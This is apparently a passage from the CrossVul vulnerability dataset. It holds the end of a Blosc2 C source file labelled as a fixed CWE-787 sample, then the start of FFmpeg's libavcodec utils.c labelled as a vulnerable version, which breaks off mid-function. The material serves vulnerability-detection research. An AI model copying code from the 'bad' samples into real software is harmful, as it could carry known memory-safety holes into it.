BLOSC_MAX_OVERHEAD != cbytes) { return -1; } if (srcsize < BLOSC_MAX_OVERHEAD + j * blocksize + startb + bsize2) { /* Not enough input to copy data */ return -1; } memcpy((uint8_t*)dest + ntbytes, (uint8_t*)src + BLOSC_MAX_OVERHEAD + j * blocksize + startb, (unsigned int)bsize2); cbytes = (int)bsize2; } else { struct thread_context* scontext = context->serial_context; /* Resize the temporaries in serial context if needed */ if (blocksize != scontext->tmp_blocksize) { my_free(scontext->tmp); scontext->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; scontext->tmp = my_malloc(scontext->tmp_nbytes); scontext->tmp2 = scontext->tmp + blocksize; scontext->tmp3 = scontext->tmp + blocksize + ebsize; scontext->tmp4 = scontext->tmp + 2 * blocksize + ebsize; scontext->tmp_blocksize = (int32_t)blocksize; } // Regular decompression. Put results in tmp2. // If the block is aligned and the worst case fits in destination, let's avoid a copy bool get_single_block = ((startb == 0) && (bsize == nitems * typesize)); uint8_t* tmp2 = get_single_block ? dest : scontext->tmp2; cbytes = blosc_d(context->serial_context, bsize, leftoverblock, src, srcsize, sw32_(bstarts + j), tmp2, 0, scontext->tmp, scontext->tmp3); if (cbytes < 0) { ntbytes = cbytes; break; } if (!get_single_block) { /* Copy to destination */ memcpy((uint8_t *) dest + ntbytes, tmp2 + startb, (unsigned int) bsize2); } cbytes = (int)bsize2; } ntbytes += cbytes; } return ntbytes; } /* Specific routine optimized for decompression a small number of items out of a compressed chunk. Public non-contextual API. */ int blosc_getitem(const void* src, int start, int nitems, void* dest) { uint8_t* _src = (uint8_t*)(src); blosc2_context context; int result; uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ return -1; } /* Minimally populate the context */ memset(&context, 0, sizeof(blosc2_context)); context.src = src; context.dest = dest; context.typesize = (uint8_t)_src[3]; context.blocksize = sw32_(_src + 8); context.header_flags = *(_src + 2); context.filter_flags = get_filter_flags(context.header_flags, context.typesize); context.schunk = g_schunk; context.nthreads = 1; // force a serial decompression; fixes #95 context.serial_context = create_thread_context(&context, 0); /* Call the actual getitem function */ result = _blosc_getitem(&context, src, INT32_MAX, start, nitems, dest); /* Release resources */ free_thread_context(context.serial_context); return result; } int blosc2_getitem_ctx(blosc2_context* context, const void* src, int32_t srcsize, int start, int nitems, void* dest) { uint8_t* _src = (uint8_t*)(src); int result; /* Minimally populate the context */ context->typesize = (uint8_t)_src[3]; context->blocksize = sw32_(_src + 8); context->header_flags = *(_src + 2); context->filter_flags = get_filter_flags(*(_src + 2), context->typesize); if (context->serial_context == NULL) { context->serial_context = create_thread_context(context, 0); } /* Call the actual getitem function */ result = _blosc_getitem(context, src, srcsize, start, nitems, dest); return result; } /* execute single compression/decompression job for a single thread_context */ static void t_blosc_do_job(void *ctxt) { struct thread_context* thcontext = (struct thread_context*)ctxt; blosc2_context* context = thcontext->parent_context; int32_t cbytes; int32_t ntdest; int32_t tblocks; /* number of blocks per thread */ int32_t tblock; /* limit block on a thread */ int32_t nblock_; /* private copy of nblock */ int32_t bsize; int32_t leftoverblock; /* Parameters for threads */ int32_t blocksize; int32_t ebsize; int32_t srcsize; bool compress = context->do_compress != 0; int32_t maxbytes; int32_t nblocks; int32_t leftover; int32_t leftover2; int32_t* bstarts; const uint8_t* src; uint8_t* dest; uint8_t* tmp; uint8_t* tmp2; uint8_t* tmp3; /* Get parameters for this thread before entering the main loop */ blocksize = context->blocksize; ebsize = blocksize + context->typesize * sizeof(int32_t); maxbytes = context->destsize; nblocks = context->nblocks; leftover = context->leftover; bstarts = context->bstarts; src = context->src; srcsize = context->srcsize; dest = context->dest; /* Resize the temporaries if needed */ if (blocksize != thcontext->tmp_blocksize) { my_free(thcontext->tmp); thcontext->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; thcontext->tmp = my_malloc(thcontext->tmp_nbytes); thcontext->tmp2 = thcontext->tmp + blocksize; thcontext->tmp3 = thcontext->tmp + blocksize + ebsize; thcontext->tmp4 = thcontext->tmp + 2 * blocksize + ebsize; thcontext->tmp_blocksize = blocksize; } tmp = thcontext->tmp; tmp2 = thcontext->tmp2; tmp3 = thcontext->tmp3; // Determine whether we can do a static distribution of workload among different threads bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; bool static_schedule = (!compress || memcpyed) && context->block_maskout == NULL; if (static_schedule) { /* Blocks per thread */ tblocks = nblocks / context->nthreads; leftover2 = nblocks % context->nthreads; tblocks = (leftover2 > 0) ? tblocks + 1 : tblocks; nblock_ = thcontext->tid * tblocks; tblock = nblock_ + tblocks; if (tblock > nblocks) { tblock = nblocks; } } else { // Use dynamic schedule via a queue. Get the next block. pthread_mutex_lock(&context->count_mutex); context->thread_nblock++; nblock_ = context->thread_nblock; pthread_mutex_unlock(&context->count_mutex); tblock = nblocks; } /* Loop over blocks */ leftoverblock = 0; while ((nblock_ < tblock) && (context->thread_giveup_code > 0)) { bsize = blocksize; if (nblock_ == (nblocks - 1) && (leftover > 0)) { bsize = leftover; leftoverblock = 1; } if (compress) { if (memcpyed) { if (!context->prefilter) { /* We want to memcpy only */ memcpy(dest + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, src + nblock_ * blocksize, (unsigned int) bsize); cbytes = (int32_t) bsize; } else { /* Only the prefilter has to be executed, and this is done in blosc_c(). * However, no further actions are needed, so we can put the result * directly in dest. */ cbytes = blosc_c(thcontext, bsize, leftoverblock, 0, ebsize, src, nblock_ * blocksize, dest + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, tmp, tmp3); } } else { /* Regular compression */ cbytes = blosc_c(thcontext, bsize, leftoverblock, 0, ebsize, src, nblock_ * blocksize, tmp2, tmp, tmp3); } } else { if (memcpyed) { /* We want to memcpy only */ if (srcsize < BLOSC_MAX_OVERHEAD + (nblock_ * blocksize) + bsize) { /* Not enough input to copy data */ cbytes = -1; } else { memcpy(dest + nblock_ * blocksize, src + BLOSC_MAX_OVERHEAD + nblock_ * blocksize, (unsigned int)bsize); cbytes = (int32_t)bsize; } } else { if (srcsize < (int32_t)(BLOSC_MAX_OVERHEAD + (sizeof(int32_t) * nblocks))) { /* Not enough input to read all `bstarts` */ cbytes = -1; } else { cbytes = blosc_d(thcontext, bsize, leftoverblock, src, srcsize, sw32_(bstarts + nblock_), dest, nblock_ * blocksize, tmp, tmp2); } } } /* Check whether current thread has to giveup */ if (context->thread_giveup_code <= 0) { break; } /* Check results for the compressed/decompressed block */ if (cbytes < 0) { /* compr/decompr failure */ /* Set giveup_code error */ pthread_mutex_lock(&context->count_mutex); context->thread_giveup_code = cbytes; pthread_mutex_unlock(&context->count_mutex); break; } if (compress && !memcpyed) { /* Start critical section */ pthread_mutex_lock(&context->count_mutex); ntdest = context->output_bytes; // Note: do not use a typical local dict_training variable here // because it is probably cached from previous calls if the number of // threads does not change (the usual thing). if (!(context->use_dict && context->dict_cdict == NULL)) { _sw32(bstarts + nblock_, (int32_t) ntdest); } if ((cbytes == 0) || (ntdest + cbytes > maxbytes)) { context->thread_giveup_code = 0; /* uncompressible buf */ pthread_mutex_unlock(&context->count_mutex); break; } context->thread_nblock++; nblock_ = context->thread_nblock; context->output_bytes += cbytes; pthread_mutex_unlock(&context->count_mutex); /* End of critical section */ /* Copy the compressed buffer to destination */ memcpy(dest + ntdest, tmp2, (unsigned int) cbytes); } else if (static_schedule) { nblock_++; } else { pthread_mutex_lock(&context->count_mutex); context->thread_nblock++; nblock_ = context->thread_nblock; context->output_bytes += cbytes; pthread_mutex_unlock(&context->count_mutex); } } /* closes while (nblock_) */ if (static_schedule) { context->output_bytes = context->sourcesize; if (compress) { context->output_bytes += BLOSC_MAX_OVERHEAD; } } } /* Decompress & unshuffle several blocks in a single thread */ static void* t_blosc(void* ctxt) { struct thread_context* thcontext = (struct thread_context*)ctxt; blosc2_context* context = thcontext->parent_context; #ifdef BLOSC_POSIX_BARRIERS int rc; #endif while (1) { /* Synchronization point for all threads (wait for initialization) */ WAIT_INIT(NULL, context); if (context->end_threads) { break; } t_blosc_do_job(ctxt); /* Meeting point for all threads (wait for finalization) */ WAIT_FINISH(NULL, context); } /* Cleanup our working space and context */ free_thread_context(thcontext); return (NULL); } int init_threadpool(blosc2_context *context) { int32_t tid; int rc2; /* Initialize mutex and condition variable objects */ pthread_mutex_init(&context->count_mutex, NULL); pthread_mutex_init(&context->delta_mutex, NULL); pthread_cond_init(&context->delta_cv, NULL); /* Set context thread sentinels */ context->thread_giveup_code = 1; context->thread_nblock = -1; /* Barrier initialization */ #ifdef BLOSC_POSIX_BARRIERS pthread_barrier_init(&context->barr_init, NULL, context->nthreads + 1); pthread_barrier_init(&context->barr_finish, NULL, context->nthreads + 1); #else pthread_mutex_init(&context->count_threads_mutex, NULL); pthread_cond_init(&context->count_threads_cv, NULL); context->count_threads = 0; /* Reset threads counter */ #endif if (threads_callback) { /* Create thread contexts to store data for callback threads */ context->thread_contexts = (struct thread_context *)my_malloc( context->nthreads * sizeof(struct thread_context)); for (tid = 0; tid < context->nthreads; tid++) init_thread_context(context->thread_contexts + tid, context, tid); } else { #if !defined(_WIN32) /* Initialize and set thread detached attribute */ pthread_attr_init(&context->ct_attr); pthread_attr_setdetachstate(&context->ct_attr, PTHREAD_CREATE_JOINABLE); #endif /* Make space for thread handlers */ context->threads = (pthread_t*)my_malloc( context->nthreads * sizeof(pthread_t)); /* Finally, create the threads */ for (tid = 0; tid < context->nthreads; tid++) { /* Create a thread context (will destroy when finished) */ struct thread_context *thread_context = create_thread_context(context, tid); #if !defined(_WIN32) rc2 = pthread_create(&context->threads[tid], &context->ct_attr, t_blosc, (void*)thread_context); #else rc2 = pthread_create(&context->threads[tid], NULL, t_blosc, (void *)thread_context); #endif if (rc2) { fprintf(stderr, "ERROR; return code from pthread_create() is %d\n", rc2); fprintf(stderr, "\tError detail: %s\n", strerror(rc2)); return (-1); } } } /* We have now started/initialized the threads */ context->threads_started = context->nthreads; context->new_nthreads = context->nthreads; return (0); } int blosc_get_nthreads(void) { return g_nthreads; } int blosc_set_nthreads(int nthreads_new) { int ret = g_nthreads; /* the previous number of threads */ /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); if (nthreads_new != ret) { g_nthreads = nthreads_new; g_global_context->new_nthreads = nthreads_new; check_nthreads(g_global_context); } return ret; } const char* blosc_get_compressor(void) { const char* compname; blosc_compcode_to_compname(g_compressor, &compname); return compname; } int blosc_set_compressor(const char* compname) { int code = blosc_compname_to_compcode(compname); g_compressor = code; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); return code; } void blosc_set_delta(int dodelta) { g_delta = dodelta; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); } const char* blosc_list_compressors(void) { static int compressors_list_done = 0; static char ret[256]; if (compressors_list_done) return ret; ret[0] = '\0'; strcat(ret, BLOSC_BLOSCLZ_COMPNAME); #if defined(HAVE_LZ4) strcat(ret, ","); strcat(ret, BLOSC_LZ4_COMPNAME); strcat(ret, ","); strcat(ret, BLOSC_LZ4HC_COMPNAME); #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) strcat(ret, ","); strcat(ret, BLOSC_LIZARD_COMPNAME); #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) strcat(ret, ","); strcat(ret, BLOSC_SNAPPY_COMPNAME); #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) strcat(ret, ","); strcat(ret, BLOSC_ZLIB_COMPNAME); #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) strcat(ret, ","); strcat(ret, BLOSC_ZSTD_COMPNAME); #endif /* HAVE_ZSTD */ compressors_list_done = 1; return ret; } const char* blosc_get_version_string(void) { return BLOSC_VERSION_STRING; } int blosc_get_complib_info(const char* compname, char** complib, char** version) { int clibcode; const char* clibname; const char* clibversion = "unknown"; #if (defined(HAVE_LZ4) && defined(LZ4_VERSION_MAJOR)) || \ (defined(HAVE_LIZARD) && defined(LIZARD_VERSION_MAJOR)) || \ (defined(HAVE_SNAPPY) && defined(SNAPPY_VERSION)) || \ (defined(HAVE_ZSTD) && defined(ZSTD_VERSION_MAJOR)) char sbuffer[256]; #endif clibcode = compname_to_clibcode(compname); clibname = clibcode_to_clibname(clibcode); /* complib version */ if (clibcode == BLOSC_BLOSCLZ_LIB) { clibversion = BLOSCLZ_VERSION_STRING; } #if defined(HAVE_LZ4) else if (clibcode == BLOSC_LZ4_LIB) { #if defined(LZ4_VERSION_MAJOR) sprintf(sbuffer, "%d.%d.%d", LZ4_VERSION_MAJOR, LZ4_VERSION_MINOR, LZ4_VERSION_RELEASE); clibversion = sbuffer; #endif /* LZ4_VERSION_MAJOR */ } #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) else if (clibcode == BLOSC_LIZARD_LIB) { sprintf(sbuffer, "%d.%d.%d", LIZARD_VERSION_MAJOR, LIZARD_VERSION_MINOR, LIZARD_VERSION_RELEASE); clibversion = sbuffer; } #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) else if (clibcode == BLOSC_SNAPPY_LIB) { #if defined(SNAPPY_VERSION) sprintf(sbuffer, "%d.%d.%d", SNAPPY_MAJOR, SNAPPY_MINOR, SNAPPY_PATCHLEVEL); clibversion = sbuffer; #endif /* SNAPPY_VERSION */ } #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) else if (clibcode == BLOSC_ZLIB_LIB) { clibversion = ZLIB_VERSION; } #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) else if (clibcode == BLOSC_ZSTD_LIB) { sprintf(sbuffer, "%d.%d.%d", ZSTD_VERSION_MAJOR, ZSTD_VERSION_MINOR, ZSTD_VERSION_RELEASE); clibversion = sbuffer; } #endif /* HAVE_ZSTD */ #ifdef _MSC_VER *complib = _strdup(clibname); *version = _strdup(clibversion); #else *complib = strdup(clibname); *version = strdup(clibversion); #endif return clibcode; } /* Return `nbytes`, `cbytes` and `blocksize` from a compressed buffer. */ void blosc_cbuffer_sizes(const void* cbuffer, size_t* nbytes, size_t* cbytes, size_t* blocksize) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ *nbytes = *blocksize = *cbytes = 0; return; } /* Read the interesting values */ *nbytes = (size_t)sw32_(_src + 4); /* uncompressed buffer size */ *blocksize = (size_t)sw32_(_src + 8); /* block size */ *cbytes = (size_t)sw32_(_src + 12); /* compressed buffer size */ } int blosc_cbuffer_validate(const void* cbuffer, size_t cbytes, size_t* nbytes) { size_t header_cbytes, header_blocksize; if (cbytes < BLOSC_MIN_HEADER_LENGTH) { /* Compressed data should contain enough space for header */ *nbytes = 0; return -1; } blosc_cbuffer_sizes(cbuffer, nbytes, &header_cbytes, &header_blocksize); if (header_cbytes != cbytes) { /* Compressed size from header does not match `cbytes` */ *nbytes = 0; return -1; } if (*nbytes > BLOSC_MAX_BUFFERSIZE) { /* Uncompressed size is larger than allowed */ return -1; } return 0; } /* Return `typesize` and `flags` from a compressed buffer. */ void blosc_cbuffer_metainfo(const void* cbuffer, size_t* typesize, int* flags) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ uint8_t version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ *flags = 0; *typesize = 0; return; } /* Read the interesting values */ *flags = (int)_src[2]; /* flags */ *typesize = (size_t)_src[3]; /* typesize */ } /* Return version information from a compressed buffer. */ void blosc_cbuffer_versions(const void* cbuffer, int* version, int* versionlz) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ /* Read the version info */ *version = (int)_src[0]; /* blosc format version */ *versionlz = (int)_src[1]; /* Lempel-Ziv compressor format version */ } /* Return the compressor library/format used in a compressed buffer. */ const char* blosc_cbuffer_complib(const void* cbuffer) { uint8_t* _src = (uint8_t*)(cbuffer); /* current pos for source buffer */ int clibcode; const char* complib; /* Read the compressor format/library info */ clibcode = (_src[2] & 0xe0) >> 5; complib = clibcode_to_clibname(clibcode); return complib; } /* Get the internal blocksize to be used during compression. 0 means that an automatic blocksize is computed internally. */ int blosc_get_blocksize(void) { return (int)g_force_blocksize; } /* Force the use of a specific blocksize. If 0, an automatic blocksize will be used (the default). */ void blosc_set_blocksize(size_t size) { g_force_blocksize = (int32_t)size; } /* Set pointer to super-chunk. If NULL, no super-chunk will be reachable (the default). */ void blosc_set_schunk(blosc2_schunk* schunk) { g_schunk = schunk; g_global_context->schunk = schunk; } void blosc_init(void) { /* Return if Blosc is already initialized */ if (g_initlib) return; pthread_mutex_init(&global_comp_mutex, NULL); /* Create a global context */ g_global_context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); memset(g_global_context, 0, sizeof(blosc2_context)); g_global_context->nthreads = g_nthreads; g_global_context->new_nthreads = g_nthreads; g_initlib = 1; } void blosc_destroy(void) { /* Return if Blosc is not initialized */ if (!g_initlib) return; g_initlib = 0; release_threadpool(g_global_context); if (g_global_context->serial_context != NULL) { free_thread_context(g_global_context->serial_context); } my_free(g_global_context); pthread_mutex_destroy(&global_comp_mutex); } int release_threadpool(blosc2_context *context) { int32_t t; void* status; int rc; if (context->threads_started > 0) { if (threads_callback) { /* free context data for user-managed threads */ for (t=0; t<context->threads_started; t++) destroy_thread_context(context->thread_contexts + t); my_free(context->thread_contexts); } else { /* Tell all existing threads to finish */ context->end_threads = 1; WAIT_INIT(-1, context); /* Join exiting threads */ for (t = 0; t < context->threads_started; t++) { rc = pthread_join(context->threads[t], &status); if (rc) { fprintf(stderr, "ERROR; return code from pthread_join() is %d\n", rc); fprintf(stderr, "\tError detail: %s\n", strerror(rc)); } } /* Thread attributes */ #if !defined(_WIN32) pthread_attr_destroy(&context->ct_attr); #endif /* Release thread handlers */ my_free(context->threads); } /* Release mutex and condition variable objects */ pthread_mutex_destroy(&context->count_mutex); pthread_mutex_destroy(&context->delta_mutex); pthread_cond_destroy(&context->delta_cv); /* Barriers */ #ifdef BLOSC_POSIX_BARRIERS pthread_barrier_destroy(&context->barr_init); pthread_barrier_destroy(&context->barr_finish); #else pthread_mutex_destroy(&context->count_threads_mutex); pthread_cond_destroy(&context->count_threads_cv); context->count_threads = 0; /* Reset threads counter */ #endif /* Reset flags and counters */ context->end_threads = 0; context->threads_started = 0; } return 0; } int blosc_free_resources(void) { /* Return if Blosc is not initialized */ if (!g_initlib) return -1; return release_threadpool(g_global_context); } /* Contexts */ /* Create a context for compression */ blosc2_context* blosc2_create_cctx(blosc2_cparams cparams) { blosc2_context* context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); /* Populate the context, using zeros as default values */ memset(context, 0, sizeof(blosc2_context)); context->do_compress = 1; /* meant for compression */ context->compcode = cparams.compcode; context->clevel = cparams.clevel; context->use_dict = cparams.use_dict; context->typesize = cparams.typesize; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = cparams.filters[i]; context->filters_meta[i] = cparams.filters_meta[i]; } context->nthreads = cparams.nthreads; context->new_nthreads = context->nthreads; context->blocksize = cparams.blocksize; context->threads_started = 0; context->schunk = cparams.schunk; if (cparams.prefilter != NULL) { context->prefilter = cparams.prefilter; context->pparams = (blosc2_prefilter_params*)my_malloc(sizeof(blosc2_prefilter_params)); memcpy(context->pparams, cparams.pparams, sizeof(blosc2_prefilter_params)); } return context; } /* Create a context for decompression */ blosc2_context* blosc2_create_dctx(blosc2_dparams dparams) { blosc2_context* context = (blosc2_context*)my_malloc(sizeof(blosc2_context)); /* Populate the context, using zeros as default values */ memset(context, 0, sizeof(blosc2_context)); context->do_compress = 0; /* Meant for decompression */ context->nthreads = dparams.nthreads; context->new_nthreads = context->nthreads; context->threads_started = 0; context->block_maskout = NULL; context->block_maskout_nitems = 0; context->schunk = dparams.schunk; return context; } void blosc2_free_ctx(blosc2_context* context) { release_threadpool(context); if (context->serial_context != NULL) { free_thread_context(context->serial_context); } if (context->dict_cdict != NULL) { #ifdef HAVE_ZSTD ZSTD_freeCDict(context->dict_cdict); #endif } if (context->dict_ddict != NULL) { #ifdef HAVE_ZSTD ZSTD_freeDDict(context->dict_ddict); #endif } if (context->btune != NULL) { btune_free(context); } if (context->prefilter != NULL) { my_free(context->pparams); } if (context->block_maskout != NULL) { free(context->block_maskout); } my_free(context); } /* Set a maskout in decompression context */ int blosc2_set_maskout(blosc2_context *ctx, bool *maskout, int nblocks) { if (ctx->block_maskout != NULL) { // Get rid of a possible mask here free(ctx->block_maskout); } bool *maskout_ = malloc(nblocks); memcpy(maskout_, maskout, nblocks); ctx->block_maskout = maskout_; ctx->block_maskout_nitems = nblocks; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4464_0
crossvul-cpp_data_bad_3297_0
/* * utils for libavcodec * Copyright (c) 2001 Fabrice Bellard * Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * utils. */ #include "config.h" #include "libavutil/atomic.h" #include "libavutil/attributes.h" #include "libavutil/avassert.h" #include "libavutil/avstring.h" #include "libavutil/bprint.h" #include "libavutil/channel_layout.h" #include "libavutil/crc.h" #include "libavutil/frame.h" #include "libavutil/hwcontext.h" #include "libavutil/internal.h" #include "libavutil/mathematics.h" #include "libavutil/mem_internal.h" #include "libavutil/pixdesc.h" #include "libavutil/imgutils.h" #include "libavutil/samplefmt.h" #include "libavutil/dict.h" #include "libavutil/thread.h" #include "avcodec.h" #include "libavutil/opt.h" #include "me_cmp.h" #include "mpegvideo.h" #include "thread.h" #include "frame_thread_encoder.h" #include "internal.h" #include "raw.h" #include "bytestream.h" #include "version.h" #include <stdlib.h> #include <stdarg.h> #include <limits.h> #include <float.h> #if CONFIG_ICONV # include <iconv.h> #endif #include "libavutil/ffversion.h" const char av_codec_ffversion[] = "FFmpeg version " FFMPEG_VERSION; #if HAVE_PTHREADS || HAVE_W32THREADS || HAVE_OS2THREADS static int default_lockmgr_cb(void **arg, enum AVLockOp op) { void * volatile * mutex = arg; int err; switch (op) { case AV_LOCK_CREATE: return 0; case AV_LOCK_OBTAIN: if (!*mutex) { pthread_mutex_t *tmp = av_malloc(sizeof(pthread_mutex_t)); if (!tmp) return AVERROR(ENOMEM); if ((err = pthread_mutex_init(tmp, NULL))) { av_free(tmp); return AVERROR(err); } if (avpriv_atomic_ptr_cas(mutex, NULL, tmp)) { pthread_mutex_destroy(tmp); av_free(tmp); } } if ((err = pthread_mutex_lock(*mutex))) return AVERROR(err); return 0; case AV_LOCK_RELEASE: if ((err = pthread_mutex_unlock(*mutex))) return AVERROR(err); return 0; case AV_LOCK_DESTROY: if (*mutex) pthread_mutex_destroy(*mutex); av_free(*mutex); avpriv_atomic_ptr_cas(mutex, *mutex, NULL); return 0; } return 1; } static int (*lockmgr_cb)(void **mutex, enum AVLockOp op) = default_lockmgr_cb; #else static int (*lockmgr_cb)(void **mutex, enum AVLockOp op) = NULL; #endif volatile int ff_avcodec_locked; static int volatile entangled_thread_counter = 0; static void *codec_mutex; static void *avformat_mutex; void av_fast_padded_malloc(void *ptr, unsigned int *size, size_t min_size) { uint8_t **p = ptr; if (min_size > SIZE_MAX - AV_INPUT_BUFFER_PADDING_SIZE) { av_freep(p); *size = 0; return; } if (!ff_fast_malloc(p, size, min_size + AV_INPUT_BUFFER_PADDING_SIZE, 1)) memset(*p + min_size, 0, AV_INPUT_BUFFER_PADDING_SIZE); } void av_fast_padded_mallocz(void *ptr, unsigned int *size, size_t min_size) { uint8_t **p = ptr; if (min_size > SIZE_MAX - AV_INPUT_BUFFER_PADDING_SIZE) { av_freep(p); *size = 0; return; } if (!ff_fast_malloc(p, size, min_size + AV_INPUT_BUFFER_PADDING_SIZE, 1)) memset(*p, 0, min_size + AV_INPUT_BUFFER_PADDING_SIZE); } /* encoder management */ static AVCodec *first_avcodec = NULL; static AVCodec **last_avcodec = &first_avcodec; AVCodec *av_codec_next(const AVCodec *c) { if (c) return c->next; else return first_avcodec; } static av_cold void avcodec_init(void) { static int initialized = 0; if (initialized != 0) return; initialized = 1; if (CONFIG_ME_CMP) ff_me_cmp_init_static(); } int av_codec_is_encoder(const AVCodec *codec) { return codec && (codec->encode_sub || codec->encode2 ||codec->send_frame); } int av_codec_is_decoder(const AVCodec *codec) { return codec && (codec->decode || codec->send_packet); } av_cold void avcodec_register(AVCodec *codec) { AVCodec **p; avcodec_init(); p = last_avcodec; codec->next = NULL; while(*p || avpriv_atomic_ptr_cas((void * volatile *)p, NULL, codec)) p = &(*p)->next; last_avcodec = &codec->next; if (codec->init_static_data) codec->init_static_data(codec); } #if FF_API_EMU_EDGE unsigned avcodec_get_edge_width(void) { return EDGE_WIDTH; } #endif #if FF_API_SET_DIMENSIONS void avcodec_set_dimensions(AVCodecContext *s, int width, int height) { int ret = ff_set_dimensions(s, width, height); if (ret < 0) { av_log(s, AV_LOG_WARNING, "Failed to set dimensions %d %d\n", width, height); } } #endif int ff_set_dimensions(AVCodecContext *s, int width, int height) { int ret = av_image_check_size2(width, height, s->max_pixels, AV_PIX_FMT_NONE, 0, s); if (ret < 0) width = height = 0; s->coded_width = width; s->coded_height = height; s->width = AV_CEIL_RSHIFT(width, s->lowres); s->height = AV_CEIL_RSHIFT(height, s->lowres); return ret; } int ff_set_sar(AVCodecContext *avctx, AVRational sar) { int ret = av_image_check_sar(avctx->width, avctx->height, sar); if (ret < 0) { av_log(avctx, AV_LOG_WARNING, "ignoring invalid SAR: %d/%d\n", sar.num, sar.den); avctx->sample_aspect_ratio = (AVRational){ 0, 1 }; return ret; } else { avctx->sample_aspect_ratio = sar; } return 0; } int ff_side_data_update_matrix_encoding(AVFrame *frame, enum AVMatrixEncoding matrix_encoding) { AVFrameSideData *side_data; enum AVMatrixEncoding *data; side_data = av_frame_get_side_data(frame, AV_FRAME_DATA_MATRIXENCODING); if (!side_data) side_data = av_frame_new_side_data(frame, AV_FRAME_DATA_MATRIXENCODING, sizeof(enum AVMatrixEncoding)); if (!side_data) return AVERROR(ENOMEM); data = (enum AVMatrixEncoding*)side_data->data; *data = matrix_encoding; return 0; } void avcodec_align_dimensions2(AVCodecContext *s, int *width, int *height, int linesize_align[AV_NUM_DATA_POINTERS]) { int i; int w_align = 1; int h_align = 1; AVPixFmtDescriptor const *desc = av_pix_fmt_desc_get(s->pix_fmt); if (desc) { w_align = 1 << desc->log2_chroma_w; h_align = 1 << desc->log2_chroma_h; } switch (s->pix_fmt) { case AV_PIX_FMT_YUV420P: case AV_PIX_FMT_YUYV422: case AV_PIX_FMT_YVYU422: case AV_PIX_FMT_UYVY422: case AV_PIX_FMT_YUV422P: case AV_PIX_FMT_YUV440P: case AV_PIX_FMT_YUV444P: case AV_PIX_FMT_GBRP: case AV_PIX_FMT_GBRAP: case AV_PIX_FMT_GRAY8: case AV_PIX_FMT_GRAY16BE: case AV_PIX_FMT_GRAY16LE: case AV_PIX_FMT_YUVJ420P: case AV_PIX_FMT_YUVJ422P: case AV_PIX_FMT_YUVJ440P: case AV_PIX_FMT_YUVJ444P: case AV_PIX_FMT_YUVA420P: case AV_PIX_FMT_YUVA422P: case AV_PIX_FMT_YUVA444P: case AV_PIX_FMT_YUV420P9LE: case AV_PIX_FMT_YUV420P9BE: case AV_PIX_FMT_YUV420P10LE: case AV_PIX_FMT_YUV420P10BE: case AV_PIX_FMT_YUV420P12LE: case AV_PIX_FMT_YUV420P12BE: case AV_PIX_FMT_YUV420P14LE: case AV_PIX_FMT_YUV420P14BE: case AV_PIX_FMT_YUV420P16LE: case AV_PIX_FMT_YUV420P16BE: case AV_PIX_FMT_YUVA420P9LE: case AV_PIX_FMT_YUVA420P9BE: case AV_PIX_FMT_YUVA420P10LE: case AV_PIX_FMT_YUVA420P10BE: case AV_PIX_FMT_YUVA420P16LE: case AV_PIX_FMT_YUVA420P16BE: case AV_PIX_FMT_YUV422P9LE: case AV_PIX_FMT_YUV422P9BE: case AV_PIX_FMT_YUV422P10LE: case AV_PIX_FMT_YUV422P10BE: case AV_PIX_FMT_YUV422P12LE: case AV_PIX_FMT_YUV422P12BE: case AV_PIX_FMT_YUV422P14LE: case AV_PIX_FMT_YUV422P14BE: case AV_PIX_FMT_YUV422P16LE: case AV_PIX_FMT_YUV422P16BE: case AV_PIX_FMT_YUVA422P9LE: case AV_PIX_FMT_YUVA422P9BE: case AV_PIX_FMT_YUVA422P10LE: case AV_PIX_FMT_YUVA422P10BE: case AV_PIX_FMT_YUVA422P16LE: case AV_PIX_FMT_YUVA422P16BE: case AV_PIX_FMT_YUV440P10LE: case AV_PIX_FMT_YUV440P10BE: case AV_PIX_FMT_YUV440P12LE: case AV_PIX_FMT_YUV440P12BE: case AV_PIX_FMT_YUV444P9LE: case AV_PIX_FMT_YUV444P9BE: case AV_PIX_FMT_YUV444P10LE: case AV_PIX_FMT_YUV444P10BE: case AV_PIX_FMT_YUV444P12LE: case AV_PIX_FMT_YUV444P12BE: case AV_PIX_FMT_YUV444P14LE: case AV_PIX_FMT_YUV444P14BE: case AV_PIX_FMT_YUV444P16LE: case AV_PIX_FMT_YUV444P16BE: case AV_PIX_FMT_YUVA444P9LE: case AV_PIX_FMT_YUVA444P9BE: case 